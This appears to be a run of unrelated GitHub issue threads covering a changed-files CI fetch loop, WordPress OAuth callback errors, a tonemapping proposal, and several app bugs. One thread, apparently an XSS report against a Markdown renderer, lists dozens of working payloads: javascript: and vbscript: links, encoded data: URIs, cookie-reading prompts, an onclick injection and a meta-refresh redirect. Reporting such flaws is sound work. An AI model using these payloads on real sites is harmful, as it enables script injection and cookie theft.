There is also an error at the very end of the step (after the thousand+ lines): Unable to locate a common ancestor between main and TEST-JOB-DELETION with: 0284bb48a7c777e7bcf8d39b20792d86b5d0ba57...e27095d2e7f2d9a00b599e74be281099d2d4a847
A screenshot of that is also attached in the gist.
To Reproduce
Any change to the repository caused this.
What OS are you seeing the problem on?
ubuntu-latest or ubuntu-20.04
Expected behavior?
The expected behavior is that it provides the changed files without taking so long and printing so many lines for a simple change.
Relevant log output
Log output is again shown in this gist:

https://gist.github.com/RohanJoshi06/c875cad897c4e2a4b902fc3672d26309

Anything else?
No response
Code of Conduct

[X] I agree to follow this project's Code of Conduct

@RohanJoshi06 Can you provide the actually log output instead of pictures?

i could still see the issue: 2mins run, but this time with less output and different error:
/usr/bin/git rev-parse --show-toplevel
/home/runner/work/go-backend/go-backend
/usr/bin/git diff --diff-filter=D --name-only 040c6731a9acbe50de6dd781d85efe2cf72c7148...b743e9f6f6c3c0b31f41d3b50dd8f4ff396e5587
fatal: 040c6731a9acbe50de6dd781d85efe2cf72c7148...b743e9f6f6c3c0b31f41d3b50dd8f4ff396e5587: no merge base
Error: The process '/usr/bin/git' failed with exit code 128

/home/runner/work/_actions/tj-actions/glob/v16/webpack:/glob/node_modules/@actions/exec/lib/toolrunner.js:592
                error = new Error(`The process '${this.toolPath}' failed with exit code ${this.processExitCode}`);
^
Error: The process '/usr/bin/git' failed with exit code 128
    at ExecState._setResult (/home/runner/work/_actions/tj-actions/glob/v16/webpack:/glob/node_modules/@actions/exec/lib/toolrunner.js:592:1)
    at ExecState.CheckComplete (/home/runner/work/_actions/tj-actions/glob/v16/webpack:/glob/node_modules/@actions/exec/lib/toolrunner.js:575:1)
    at ChildProcess.<anonymous> (/home/runner/work/_actions/tj-actions/glob/v16/webpack:/glob/node_modules/@actions/exec/lib/toolrunner.js:469:1)
    at ChildProcess.emit (node:events:390:28)
    at maybeClose (node:internal/child_process:1064:16)
    at Process.ChildProcess._handle.onexit (node:internal/child_process:301:5)

this is the env:
env:
    GH_REPO: <redacted>
    PR_NUMBER: 6766
    IMPRINT_DIR: .
    GITHUB_SERVER_URL: https://github.com
    GITHUB_REPOSITORY: <redacted>
    GITHUB_REF: refs/pull/6766/merge
    GITHUB_BASE_REF: main
    GITHUB_HEAD_REF: PC-3659
    GITHUB_WORKSPACE: /home/runner/work/go-backend/go-backend
    GITHUB_EVENT_HEAD_REPO_FORK: false
    GITHUB_EVENT_PULL_REQUEST_BASE_SHA: 040c6731a9acbe50de6dd781d85efe2cf72c7148
    GITHUB_EVENT_PULL_REQUEST_HEAD_SHA: 5035106f6d5675925d12d49f667debc6bb936122
    GITHUB_EVENT_PULL_REQUEST_COMMITS: 22
    GITHUB_EVENT_BEFORE: 797a2f35ae48d5974c32c1a409da64115ed9db51
    GITHUB_EVENT_FORCED:
    GITHUB_REFNAME: 6766/merge
    INPUT_SHA: b743e9f6f6c3c0b31f41d3b50dd8f4ff396e5587
    INPUT_BASE_SHA:
    INPUT_SINCE:
    INPUT_UNTIL:
    INPUT_PATH: .
    INPUT_FETCH_DEPTH: 50
    INPUT_MAX_FETCH_DEPTH: 6000
    INPUT_SINCE_LAST_REMOTE_COMMIT: false

output from changed-files-diff-sha:
Verifying git version...
  Valid git version found: (2.38.2)
  Running on a pull request event...
  Fetching remote refs...
  Fetching 0 commits...
  Fetching 50 commits...
  Fetching 100 commits...
  Fetching 150 commits...
  Fetching 200 commits...
  Fetching 250 commits...
  Fetching 300 commits...
  Fetching 350 commits...
  Fetching 400 commits...
  Fetching 450 commits...
  Fetching 500 commits...
  Fetching 550 commits...
  Fetching 600 commits...
  Fetching 650 commits...
  Fetching 700 commits...
  Fetching 750 commits...
  Fetching 800 commits...
  Fetching 850 commits...
  Fetching 900 commits...
  Fetching 950 commits...
  Fetching 1000 commits...
  Fetching 1050 commits...
  Fetching 1100 commits...
  Fetching 1150 commits...
  Fetching [120](https://github.com/Imprint-Tech/go-backend/actions/runs/3698623980/jobs/6265058507#step:6:122)0 commits...
  Fetching [125](https://github.com/Imprint-Tech/go-backend/actions/runs/3698623980/jobs/6265058507#step:6:127)0 commits...
  Fetching [130](https://github.com/Imprint-Tech/go-backend/actions/runs/3698623980/jobs/6265058507#step:6:132)0 commits...
  Fetching [135](https://github.com/Imprint-Tech/go-backend/actions/runs/3698623980/jobs/6265058507#step:6:137)0 commits...
  Fetching [140](https://github.com/Imprint-Tech/go-backend/actions/runs/3698623980/jobs/6265058507#step:6:142)0 commits...
  Fetching [145](https://github.com/Imprint-Tech/go-backend/actions/runs/3698623980/jobs/6265058507#step:6:147)0 commits...
  Fetching [150](https://github.com/Imprint-Tech/go-backend/actions/runs/3698623980/jobs/6265058507#step:6:152)0 commits...
  Fetching 1550 commits...
  Fetching 1600 commits...
  Fetching 1650 commits...
  Fetching 1700 commits...
  Fetching 1750 commits...
  Fetching 1800 commits...
  Fetching 1850 commits...
  Fetching 1900 commits...
  Fetching 1950 commits...
  Fetching 2000 commits...
  Fetching 2050 commits...
  Fetching 2100 commits...
  Fetching 2150 commits...
  Fetching 2200 commits...
  Fetching 2250 commits...
  Fetching 2300 commits...
  Fetching 2350 commits...
  Fetching 2400 commits...
  Fetching 2450 commits...
  Fetching 2500 commits...
  Fetching 2550 commits...
  Fetching 2600 commits...
  Fetching 2650 commits...
  Fetching 2700 commits...
  Fetching 2750 commits...
  Fetching 2800 commits...
  Fetching 2850 commits...
  Fetching 2900 commits...
  Fetching 2950 commits...
  Fetching 3000 commits...
  Fetching 3050 commits...
  Fetching 3100 commits...
  Fetching 3150 commits...
  Fetching 3200 commits...
  Fetching 3250 commits...
  Fetching 3300 commits...
  Fetching 3350 commits...
  Fetching 3400 commits...
  Fetching 3450 commits...
  Fetching 3500 commits...
  Fetching 3550 commits...
  Fetching 3600 commits...
  Fetching 3650 commits...
  Fetching 3700 commits...
  Fetching 3750 commits...
  Fetching 3800 commits...
  Fetching 3850 commits...
  Fetching 3900 commits...
  Fetching 3950 commits...
  Fetching 4000 commits...
  Fetching 4050 commits...
  Fetching 4100 commits...
  Fetching 4150 commits...
  Fetching 4200 commits...
  Fetching 4250 commits...
  Fetching 4300 commits...
  Fetching 4350 commits...
  Fetching 4400 commits...
  Fetching 4450 commits...
  Fetching 4500 commits...
  Fetching 4550 commits...
  Fetching 4600 commits...
  Fetching 4650 commits...
  Fetching 4700 commits...
  Fetching 4750 commits...
  Fetching 4800 commits...
  Fetching 4850 commits...
  Fetching 4900 commits...
  Fetching 4950 commits...
  Fetching 5000 commits...
  Fetching 5050 commits...
  Fetching 5100 commits...
  Fetching 5150 commits...
  Fetching 5200 commits...
  Fetching 5250 commits...
  Fetching 5300 commits...
  Fetching 5350 commits...
  Fetching 5400 commits...
  Fetching 5450 commits...
  Fetching 5500 commits...
  Fetching 5550 commits...
  Fetching 5600 commits...
  Fetching 5650 commits...
  Fetching 5700 commits...
  Fetching 5750 commits...
  Fetching 5800 commits...
  Fetching 5850 commits...
  Fetching 5900 commits...
  Fetching 5950 commits...

@ngdah Can you provide your workflow file I.e what was the configuration of the checkout and changed files actions?

- name: Checkout code
  uses: actions/checkout@v2

- name: Get only modified files
  id: modified_files
  uses: tj-actions/changed-files@v34
  continue-on-error: true

Can you upgrade to v3
- name: Checkout code
  uses: actions/checkout@v3

bumping the checkout action version from v2 to v3 helps. thanks jackton!

Hi @jackton1 we are facing the same problem sporadically in our project.
This is how our job steps look:
      - name: Checkout
        uses: actions/checkout@v3

      - name: Get changed files in Shared, Ui and Dashboard
        id: is-affected
        uses: tj-actions/changed-files@v34
        with:
          files: |
            packages/shared/**
            packages/ui/**
            packages/dashboard/**

And the problem:
Run tj-actions/changed-files@v34
Run # "Calculating the previous and current SHA..."
changed-files-diff-sha
  Verifying git version...
  Valid git version found: (2.38.2)
  Running on a pull request event...
  Fetching remote refs...
  Fetching 0 commits...
  Fetching 50 commits...
  Fetching 100 commits...
  Fetching 150 commits...
  Fetching 200 commits...
  Fetching 250 commits...
  Fetching 300 commits...
  Fetching 350 commits...
  Fetching 400 commits...
  Fetching 450 commits...
  Fetching 500 commits...
  Fetching 550 commits...
  Fetching 600 commits...
  Fetching 650 commits...
  Fetching 700 commits...
  Fetching 750 commits...
  Fetching 800 commits...
  Fetching 850 commits...
  Fetching 900 commits...
  Fetching 950 commits...
  Fetching 1000 commits...
  Fetching 1050 commits...
  Fetching 1100 commits...
  Fetching 1150 commits...
  Fetching 1200 commits...
  Fetching 1250 commits...
  Fetching 1300 commits...
  Fetching 1350 commits...
  Fetching [140](https://github.com/***#step:3:142)0 commits...
  Fetching 1450 commits...
  Fetching 1500 commits...
  Fetching 1550 commits...
  Fetching 1600 commits...
  Fetching 1650 commits...
  Fetching 1700 commits...
  Fetching 1750 commits...
  Fetching 1800 commits...
  Fetching 1850 commits...
  Fetching 1900 commits...
  Fetching 1950 commits...
  Fetching 2000 commits...
  Fetching 2050 commits...
  Fetching 2100 commits...
  Fetching 2150 commits...
  Fetching 2200 commits...
  Fetching 2250 commits...
  Fetching 2300 commits...
  Fetching 2350 commits...
  Fetching 2400 commits...
  Fetching 2450 commits...
  Fetching 2500 commits...
  Fetching 2550 commits...
  Fetching 2600 commits...
  Fetching 2650 commits...
  Fetching 2700 commits...
  Fetching 2750 commits...
  Fetching 2800 commits...
  Fetching 2850 commits...
  Fetching 2900 commits...
  Fetching 2950 commits...
  Fetching 3000 commits...
  Fetching 3050 commits...
  Fetching 3100 commits...
  Fetching 3150 commits...
  Fetching 3200 commits...
  Fetching 3250 commits...
  Fetching 3300 commits...
  Fetching 3350 commits...
  Fetching 3400 commits...
  Fetching 3450 commits...
  Fetching 3500 commits...
  Fetching 3550 commits...
  Fetching 3600 commits...
  Fetching 3650 commits...
  Fetching 3700 commits...
  Fetching 3750 commits...
  Fetching 3800 commits...
  Fetching 3850 commits...
  Fetching 3900 commits...
  Fetching 3950 commits...
  Fetching 4000 commits...
  Fetching 4050 commits...
  Fetching 4100 commits...
  Fetching 4150 commits...
  Fetching 4200 commits...
  Fetching 4250 commits...
  Fetching 4300 commits...
  Fetching 4350 commits...
  Fetching 4400 commits...
  Fetching 4450 commits...
  Fetching 4500 commits...
  Fetching 4550 commits...
  Fetching 4600 commits...
  Fetching 4650 commits...
  Fetching 4700 commits...
  Fetching 4750 commits...
  Fetching 4800 commits...
  Fetching 4850 commits...
  Fetching 4900 commits...
  Fetching 4950 commits...
  Fetching 5000 commits...
  Fetching 5050 commits...
  Fetching 5100 commits...
  Fetching 5150 commits...
  Fetching 5200 commits...
  Fetching 5250 commits...
  Fetching 5300 commits...
  Fetching 5350 commits...
  Fetching 5400 commits...
  Fetching 5450 commits...
  Fetching 5500 commits...
  Fetching 5550 commits...
  Fetching 5600 commits...
  Fetching 5650 commits...
  Fetching 5700 commits...
  Fetching 5750 commits...
  Fetching 5800 commits...
  Fetching 5850 commits...
  Fetching 5900 commits...
  Fetching 5950 commits...
Run tj-actions/glob@v16
/usr/bin/git rev-parse --show-toplevel
/home/runner/work/Apps/Apps
/usr/bin/git diff --diff-filter=D --name-only 7935140b0c05f5fcc3[143](https://github.com/***#step:3:145)bc0a58c5d09cf4fedae...fef7c05056bf21260246fc0d64cedea3e4a64585
fatal: 7935140b0c05f5fcc3143bc0a58c5d09cf4fedae...fef7c05056bf21260246fc0d64cedea3e4a64585: no merge base
Error: The process '/usr/bin/git' failed with exit code 128

/home/runner/work/_actions/tj-actions/glob/v16/webpack:/glob/node_modules/@actions/exec/lib/toolrunner.js:592
                error = new Error(`The process '${this.toolPath}' failed with exit code ${this.processExitCode}`);
^
Error: The process '/usr/bin/git' failed with exit code 128
    at ExecState._setResult (/home/runner/work/_actions/tj-actions/glob/v16/webpack:/glob/node_modules/@actions/exec/lib/toolrunner.js:592:1)
    at ExecState.CheckComplete (/home/runner/work/_actions/tj-actions/glob/v16/webpack:/glob/node_modules/@actions/exec/lib/toolrunner.js:575:1)
    at ChildProcess.<anonymous> (/home/runner/work/_actions/tj-actions/glob/v16/webpack:/glob/node_modules/@actions/exec/lib/toolrunner.js:469:1)
    at ChildProcess.emit (node:events:390:28)
    at maybeClose (node:internal/child_process:[106](https://github.com/***#step:3:108)4:16)
    at Process.ChildProcess._handle.onexit (node:internal/child_process:301:5)

Note that I repladced the urls to our private github for ***
Any suggestions on how to fix this?


Callback URL is invalid when getting temporary credentials.

I'm not sure if this is an issue with the example-client or the oAuth server, but on step 2 I get the following error message no matter what callback URL is set as the callback in the oAuth server application.
Received HTTP status code [500] with message "Callback URL is invalid" when getting temporary credentials.

I would have expected http://localhost:8080?step=authorize to work given this code in the app:
	$server = new OAuthClient(array(
		'identifier'   => $_SESSION['client_key'],
		'secret'       => $_SESSION['client_secret'],
		'api_root'     => $_SESSION['site_base'],
		'auth_urls'    => $_SESSION['site_auth_urls'],
		'callback_uri' => get_requested_url() . '?step=authorize',
	));

but for me, using that URL gets the same error

Spoke with @tollmanz, who had previously gotten this working, and he asserted that he used http://localhost:8080. That URL does not work for me, nor does localhost:8080, omitting the http://.

Is the requirement for the trailing slash a weakness of the oauth plugin, or the client app?

Is the requirement for the trailing slash a weakness of the oauth plugin, or the client app?

It's an issue in the OAuth callback validation: the URLs aren't being normalised.

It's an issue in the OAuth callback validation: the URLs aren't being normalised.

Hello, i've the same issue (Callback URL is invalid" when getting temporary credentials.). I've tried any combination of the callback
http://<IP_ADDRESS>/example-client/www/
<IP_ADDRESS>/example-client/www/
http://localhost:8080/example-client/www/
localhost:8080/example-client/www/
with and without trailing slash and port.
Ich could also verify, that the passed credentials were correct. Any idea in which direction i could search for a solution?

Has someone resolved this issue yet? I have got stuck at this. Don't know what could be a valid callback url :(

I set my callback url to include the /index.php and it finally went past this error.

yeah,I run this at http://localhost:8080,the call back url set  http://localhost:8080/,it's work for me.

I just tested with the latest version of everything and it works fine. Just need the trailing slash

I cannot get this to work. Tried with/without trailing slash.
Any test I could run to check what's going on?

Tried with/without trailing slash, after authentication, tries to redirect and fails with: "ERR_EMPTY_RESPONSE".

Callback URL you defined on WP Admin Panel must be same with your backend application and you must use / end of URL.

I'm very confused about this whole process. I created an application in the WP admin, with a callback URL of https://website.com/success/
In the example client I put in the site URL and it comes back as API discovered at https://website.com/wp-json/ which looks correct.
I provide the key and secret generated from the WP admin application. I am getting "Callback URL is invalid" when getting temporary credentials." through this.

My callback URL ends in a /
I modified my .htaccess to include RewriteRule ^index\.php$ - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization},L]

What am I doing wrong? I can't figure out how to successfully make a request to get credentials either through this example client or otherwise.

@pinksharpii Your callback URL needs to be exactly wherever the example client is hosted (must match scheme, host, port, and path). Are you hosting the example client at https://website.com/success/?

@rmccue No I substituted website.com for the actual client site for confidentiality. Does there need to be any query string parameters in the URL for it to work?

@pinksharpii Yeah, I meant more "are you hosting the example client at [where you set the callback URL to]?", since usually the example client is hosted on a port on localhost. Specifically, the callback URL that the example client sends with the request needs to match the URL registered, and the example client gets this URL from window.location.
You don't need any query string parameters.

[a](javascript:prompt(document.cookie))
[a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
![a](javascript:prompt(document.cookie))
<javascript:prompt(document.cookie)>
<&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
a

[citelol]: (javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[notmalicious](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[clickme](vbscript:alert(document.domain))
<EMAIL_ADDRESS>style=background-image:url(data:image/png;base64,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);background-repeat:no-repeat;display:block;width:100%;height:100px; onclick=alert(unescape(/Oh%20No!/.source));return(false);//
<http://<meta\ http-equiv="refresh"\ content="0;\ url=http://danlec.com/">>
text
[a](javascript:this;alert(1))
[a](javascript:this;alert(1))
[a](javascript&#58this;alert(1))
[a](Javascript:alert(1))
[a](Javas%26%2399;ript:alert(1))
[a](javascript:alert�(1))
[a](javascript:confirm(1)
[a](javascript://www.google.com%0Aprompt(1))
[a](javascript://%0d%0aconfirm(1);com)
[a](javascript:window.onerror=confirm;throw%201)
[a](javascript:alert(document.domain))
[a](javascript://www.google.com%0Aalert(1))
a
[a](JaVaScRiPt:alert(1))

</http://<?php><\h1>script:scriptconfirm(2)

It is 2022 and this issue STILL has not been properly patched.  Very shameful of Vercel.


Tonemapping settings

It's very convenient to just be able to do stuff like this:
sled.modulate_segment(0, |led| {
    led.color * 2.0
});

But if we're targeting an led system that needs 8-bit colors (0-255 scale) then this isn't the best pattern.
What if we expose auto-tonemapping settings to the user?
Something like this:
// Clamp any color components beyond 255. This is the default.
sled.set_tonemapper(colors::Tonemapper::Clamp);

// Apply Reinhard tonemapping. Super fast, very meh results.
sled.set_tonemapper(colors::Tonemapper::Reinhard);

// Apply Extended Reinhard tonemapping, which is like the previous algorithm but it lets you define a "max white" or "white point." A touch slower but gives the user much needed flexibility.
sled.set_tonemapper(colors::Tonemapper::Reinhard_Extended(5.0));

// And then some other options, more research needed

Once you set a tonemapper, it'll be automatically used when the user calls sled.read_colors::<u8>()
Reading material
https://64.github.io/tonemapping/

Seems outside the scope of what this library should offer.


[Bug]: save and authorize on auth API navigates to new datasource pan

Is there an existing issue for this?

[X] I have searched the existing issues

Description
https://user-images.githubusercontent.com/94514895/199468272-31ae105c-6bb2-4649-bd1f-a849868be857.mov
when I save and authorize a new authenticated api datasource successfully, I expect to see the overview of that datasource, but instead I see the new datasources pane.
Steps To Reproduce

create an authenticated api datasource
add required fields
click save and authorize
you may see a popup for authorization, click through
Expected: I should see the overview of the datasource

Actual: I see the new datasource pane
Public Sample App
No response
Issue video log
No response
Version
Cloud

REST 6m usage: 5266
assume 70% of these are from authenticated api, so reach: 3686
Stats

Stat
Values

Reach
3686

Effort (months)
0.1


[Bug]: Unable to append to daily note

Bug Description
I tried to use od to append to daily note, but it could not append to the note. In the debug log, I see a line "You can't save the file ...".
Initially I thought it was a file permission problem for the directory, however, the oo command to append to scratchpad works fine. Since they both write to file, there should not be any issue with permissions.
Relevant Screenshot
No response
To Reproduce
No response
Debugging Log
[11:06:19.493] Shimmering Obsidian[[Arg and Vars](alfredpreferences:workflows%3Eworkflow%3Euser.workflow.722B3955-9F7C-4F5D-B384-DD708495B4C2%3E06632743-0C08-41BC-B058-146CDF2C11F8)] Passing output '2022-03-08' to [Write Text File](alfredpreferences:workflows%3Eworkflow%3Euser.workflow.722B3955-9F7C-4F5D-B384-DD708495B4C2%3ED28DF759-C300-4F54-A228-97AC41E07C27)
[11:06:19.494] ERROR: Shimmering Obsidian[[Write Text File](alfredpreferences:workflows%3Eworkflow%3Euser.workflow.722B3955-9F7C-4F5D-B384-DD708495B4C2%3ED28DF759-C300-4F54-A228-97AC41E07C27)] You can’t save the file “2022-03-08.md” because the volume “Macintosh HD” is read only.

Workflow Configuration

Version & System Information
-------------------------------
Metadata JSONs: 3/3
-------------------------------
INSTALLED VERSION
macOS: 12.2
Obsidian: 0.13.30
Alfred: 4.6.3
Workflow: 2.21.7
Advanced URI Plugin: 1.20.0
Metadata Extractor: 1.0.0
-------------------------------
LATEST VERSION
Obsidian: 0.13.30
Obsidian (Insider): 0.13.30
Workflow: 2.21.7
Advanced URI Plugin: 1.20.0
Metadata Extractor: 1.0.0
-------------------------------

Make sure you have done the following

[X] I have updated to the latest version of this workflow.
[X] I have read the Troubleshooting Documentation.
[X] If the o... main search does not work, I have tried rerunning osetup and it still does not work.

sorry for the late reply – the error occurs because you have not set a path to your daily notes folder in your workflow configuration

.


Reworking analyzer model and extract_node_shape tests

This addresses test failures from #1080, and also addresses test failures in #1062
Test Plan: Any suggestions for how to validate the data inside the model analysis & node shape files?

are there any old test files we should delete now?

AFAIK no, the stuff used for the old tests was all specified in python, which I deleted from the helpers file


Issue when used with react-native

I got this weird error while using redux-form with react-native. Whenever a  got blurred, the dispatched action always has a value of class SyntheticEvent (supposedly the onBlur SyntheticEvent made by react-native) and hence the value of the field will become a SyntheticEvent instance instead

@mattiamanzati, a little help?

:+1: I'm experiencing this too.

I solved replacing
if (event.nativeEvent !== undefined && event.nativeEvent.text !== undefined) {
return event.nativeEvent.text;
}
with
if (event.nativeEvent !== undefined) {
return event.nativeEvent.text;
}
but this is not a global Solution, since it Will affect the browser Environment :/

I think we might need a reactNative: true config option to fix these sorts of anomalies.
I'll try and get it fixed for tomorrow.

Personally, I would prefer mounting the reducer from a different path, like redux-form/native (like react-redux does) but that's only a suggestion :D

@mattiamanzati that would be really awesome. I prefer that too

Check out v2.0.0. Covers all the stuff in this issue.

Thanks. It's working perfectly now!


[AutoRelease] t2-storagecache-2023-02-10-73952(can only be merged by SDK owner)

https://github.com/Azure/sdk-release-request/issues/3751
Live test success
https://dev.azure.com/azure-sdk/internal/_build?definitionId=842
BuildTargetingString
azure-mgmt-storagecache
Skip.CreateApiReview
true

issue link:https://github.com/Azure/sdk-release-request/issues/3751


Add container metadata

Duplicated change. It should be included in PR https://github.com/tiiuae/px4_ros_com/pull/19.